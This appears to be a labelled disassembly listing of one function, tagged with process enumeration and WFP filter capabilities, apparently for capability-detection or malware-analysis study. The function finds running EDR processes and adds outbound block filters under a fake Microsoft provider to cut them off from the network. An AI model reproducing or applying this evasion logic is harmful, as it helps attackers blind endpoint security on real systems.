Function at 0x4015ef
Capabilities:
Enumerate processes
Register network filter via wfp api

Disassembly:
push rbp
push rdi
sub rsp, 0x518
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x488], 0
mov qword [rbp + 0x460], 0
mov qword [rbp + 0x480], 0
mov qword [rbp + 0x478], 0
lea rdx, [rbp + 0x330]
mov eax, 0
mov ecx, 0x26
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x48c], 0
lea rax, [rbp + 0x460]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0xffffffff
mov ecx, 0
call sym.FwpmEngineOpen0
mov dword [rbp + 0x488], eax
cmp dword [rbp + 0x488], 0
je 0x40169b
mov eax, dword [rbp + 0x488]
mov edx, eax
lea rcx, str.blah_blah_____F_w_p_mEngineOpen0_failed_with_error_code:_0x_x._n
call sym.printf
jmp 0x401c94
call sym.EnableSeDebugPrivilege
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x480], rax
cmp qword [rbp + 0x480], 0xffffffffffffffff
jne 0x4016dc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.blah_blah_____CreateToolhelp32Snapshot__of_processes__failed_with_error_code:_0x_x._n
call sym.printf
jmp 0x401c94
mov dword [rbp + 0x330], 0x130
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x480]
mov rcx, rax
call sym.Process32First
test eax, eax
jne 0x40172f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.blah_blah_____Process32First_failed_with_error_code:_0x_x._n
call sym.printf
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401c94
lea rax, [rbp + 0x330]
add rax, 0x2c
mov rcx, rax
call sym.isInllppList
test eax, eax
je 0x401c3e
mov dword [rbp + 0x48c], 1
mov edx, dword [rbp + 0x338]
lea rax, [rbp + 0x330]
add rax, 0x2c
mov r8d, edx
mov rdx, rax
lea rcx, str.blah_blah_Detected_running_E_D_R_process:__s___d_:_n
call sym.printf
mov eax, dword [rbp + 0x338]
mov r8d, eax
mov edx, 0
mov ecx, 0x1000
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x470], rax
cmp qword [rbp + 0x470], 0
je 0x401c16
lea rdx, [rbp + 0xf0]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x32c], 0x104
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
lea rdx, [rbp + 0x20]
mov eax, 0
mov ecx, 0x19
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x310], 0
mov qword [rbp + 0x318], 0
mov qword [rbp + 0x308], 0
mov qword [rbp + 0x300], 0
mov dword [rbp + 0x46c], 0
lea rcx, [rbp + 0x32c]
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x470]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
call rax
lea rdx, [rbp + 0x308]
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.CustomFwpmGetAppIdFromFileName0
mov dword [rbp + 0x46c], eax
cmp dword [rbp + 0x46c], 0
je 0x401995
cmp dword [rbp + 0x46c], 5
ja case.0x401902.0
mov eax, dword [rbp + 0x46c]
lea rdx, [rax*4]
lea rax, [0x004066ec]
mov eax, dword [rdx + rax]
movsxd rdx, eax
lea rax, [0x004066ec]
add rax, rdx
jmp rax
lea rax, [rbp + 0xf0]
mov rdx, rax
lea rcx, str.blah_blah_________CustomF_w_pmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_file_path_cannot_be_found._n
call sym.printf
jmp 0x40197d
lea rax, [rbp + 0xf0]
mov rdx, rax
lea rcx, str.blah_blah_________CustomF_w_pmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Error_occurred_in_allocating_memory_for_appId._n
call sym.printf
jmp 0x40197d
lea rax, [rbp + 0xf0]
mov rdx, rax
lea rcx, str.blah_blah_________CustomF_w_pmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Please_check_your_input._n
call sym.printf
jmp 0x40197d
lea rax, [rbp + 0xf0]
mov rdx, rax
lea rcx, str.blah_blah_________CustomF_w_pmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_drive_name_cannot_be_found._n
call sym.printf
jmp 0x40197d
lea rax, [rbp + 0xf0]
mov rdx, rax
lea rcx, str.blah_blah_________CustomF_w_pmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Failed_to_convert_drive_name_to_DOS_device_name._n
call sym.printf
jmp 0x40197d
nop
mov rax, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401c3e
mov rax, qword [str.Custom_Outbound_Filter]
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x40], 1
mov dword [rbp + 0x60], 0xc38d57d1
mov word [rbp + 0x64], 0x5a7
mov word [rbp + 0x66], 0x4c33
mov byte [rbp + 0x68], 0x90
mov byte [rbp + 0x69], 0x4f
mov byte [rbp + 0x6a], 0x7f
mov byte [rbp + 0x6b], 0xbc
mov byte [rbp + 0x6c], 0xee
mov byte [rbp + 0x6d], 0xe6
mov byte [rbp + 0x6e], 0xe
mov byte [rbp + 0x6f], 0x82
mov dword [rbp + 0xa0], 0x1001
mov dword [rbp - 0x50], 0xd78e1e87
mov word [rbp - 0x4c], 0x8644
mov word [rbp - 0x4a], 0x4ea5
mov byte [rbp - 0x48], 0x94
mov byte [rbp - 0x47], 0x37
mov byte [rbp - 0x46], 0xd8
mov byte [rbp - 0x45], 9
mov byte [rbp - 0x44], 0xec
mov byte [rbp - 0x43], 0xef
mov byte [rbp - 0x42], 0xc9
mov byte [rbp - 0x41], 0x71
mov dword [rbp - 0x40], 0
mov dword [rbp - 0x38], 0xc
mov rax, qword [rbp + 0x308]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x98], rax
mov dword [rbp + 0x90], 1
mov rax, qword [str.Microsoft_Windows_W_F_P_Built_in_custom_provider.]
lea rdx, [rbp + 0x310]
mov rcx, rax
call sym.GetProviderGUIDByDescription
test eax, eax
je 0x401a6f
lea rax, [rbp + 0x310]
mov qword [rbp + 0x48], rax
jmp 0x401aef
mov rax, qword [str.Microsoft_Corporation]
mov qword [rbp - 0x10], rax
mov rax, qword [str.Microsoft_Windows_W_F_P_Built_in_custom_provider.]
mov qword [rbp - 8], rax
mov dword [rbp], 1
mov rax, qword [rbp + 0x460]
lea rdx, [rbp - 0x20]
mov r8d, 0
mov rcx, rax
call sym.FwpmProviderAdd0
mov dword [rbp + 0x488], eax
cmp dword [rbp + 0x488], 0
je 0x401aca
mov eax, dword [rbp + 0x488]
mov edx, eax
lea rcx, str.blah_blah_________F_w_p_mProviderAdd0_failed_with_error_code:_0x_x._n
call sym.printf
jmp 0x401aef
mov rax, qword [str.Microsoft_Windows_W_F_P_Built_in_custom_provider.]
lea rdx, [rbp + 0x310]
mov rcx, rax
call sym.GetProviderGUIDByDescription
test eax, eax
je 0x401aef
lea rax, [rbp + 0x310]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x460]
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x20]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.FwpmFilterAdd0
mov dword [rbp + 0x488], eax
cmp dword [rbp + 0x488], 0
jne 0x401b43
mov rdx, qword [rbp + 0x300]
lea rax, [rbp + 0xf0]
mov r8, rdx
mov rdx, rax
lea rcx, str.blah_blah_____Added_W_F_P_filter_for___S___Filter_id:__d__IPv4_layer_._n
call sym.printf
jmp 0x401b57
mov eax, dword [rbp + 0x488]
mov edx, eax
lea rcx, str.blah_blah_________Failed_to_add_filter_in_I_Pv4_layer_with_error_code:_0x_x._n
call sym.printf
mov dword [rbp + 0x60], 0x4a72393b
mov word [rbp + 0x64], 0x319f
mov word [rbp + 0x66], 0x44bc
mov byte [rbp + 0x68], 0x84
mov byte [rbp + 0x69], 0xc3
mov byte [rbp + 0x6a], 0xba
mov byte [rbp + 0x6b], 0x54
mov byte [rbp + 0x6c], 0xdc
mov byte [rbp + 0x6d], 0xb3
mov byte [rbp + 0x6e], 0xb6
mov byte [rbp + 0x6f], 0xb4
mov rax, qword [rbp + 0x460]
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x20]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.FwpmFilterAdd0
mov dword [rbp + 0x488], eax
cmp dword [rbp + 0x488], 0
jne 0x401bde
mov rdx, qword [rbp + 0x300]
lea rax, [rbp + 0xf0]
mov r8, rdx
mov rdx, rax
lea rcx, str.blah_blah_____Added_W_F_P_filter_for___S___Filter_id:__d__IPv6_layer_._n
call sym.printf
jmp 0x401bf2
mov eax, dword [rbp + 0x488]
mov edx, eax
lea rcx, str.blah_blah_________Failed_to_add_filter_in_IP_v6_layer_with_error_code:_0x_x._n
call sym.printf
mov rax, qword [rbp + 0x308]
mov rcx, rax
call sym.FreeAppId
mov rax, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401c3e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, [rbp + 0x330]
add rax, 0x2c
mov r8d, edx
mov rdx, rax
lea rcx, str.blah_blah_________Could_not_open_process___s__with_error_code:_0x_x._n
call sym.printf
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x480]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x40172f
cmp dword [rbp + 0x48c], 0
jne 0x401c71
lea rcx, str.blah_blah_____No_E_D_R_process_was_detected._Please_double_check_the_e_d_r_Process_list_or_add_the_filter_manually_using_block_command.
call sym.puts
mov rax, qword [rbp + 0x480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x460]
mov rcx, rax
call sym.FwpmEngineClose0
nop
add rsp, 0x518
pop rdi
pop rbp
ret